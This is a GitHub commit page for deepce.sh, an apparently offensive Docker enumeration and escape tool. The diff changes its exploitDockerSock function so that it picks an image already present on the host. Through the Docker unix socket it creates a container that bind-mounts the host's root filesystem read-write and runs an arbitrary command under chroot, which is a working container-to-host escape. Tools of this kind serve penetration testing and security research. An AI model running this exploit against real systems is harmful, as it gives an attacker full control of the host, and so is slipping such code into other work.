Skip to content

Commit

Permalink
Merge pull request #34 from ngn13/socket-exploit-improvement
Browse files Browse the repository at this point in the history
[improvement] socket exploit will try using already installed images instead of alpine
  • Loading branch information
stealthcopter authored Aug 16, 2023
2 parents 934a991 + d7901a8 commit 7d39c35
Showing 1 changed file with 10 additions and 1 deletion.
11 changes: 10 additions & 1 deletion deepce.sh
Original file line number Diff line number Diff line change
Expand Up @@ -1052,9 +1052,18 @@ exploitDockerSock() {

nl

# Try to find an available docker image
json_data=$(curl -s --unix-socket /var/run/docker.sock http://localhost/images/json)
docker_img=$(echo "$json_data" | grep -o '"RepoTags":\["[^"]*' | grep -o '[^"]*$' | tail -1)

if [ -z "$docker_img" ]; then
printInfo 'No avaliable docker image found, using alpine'
docker_img="alpine"
fi

# Create docker container using the docker sock
payload="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"$cmd\\\"\"]"
response=$(curl -s -XPOST --unix-socket /var/run/docker.sock -d "{\"Image\":\"alpine\",\"cmd\":$payload, \"Binds\": [\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create)
response=$(curl -s -XPOST --unix-socket /var/run/docker.sock -d "{\"Image\":\"$docker_img\",\"cmd\":$payload, \"Binds\": [\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create)

if ! [ $? ]; then
printError 'Something went wrong'
Expand Down

0 comments on commit 7d39c35

Please sign in to comment.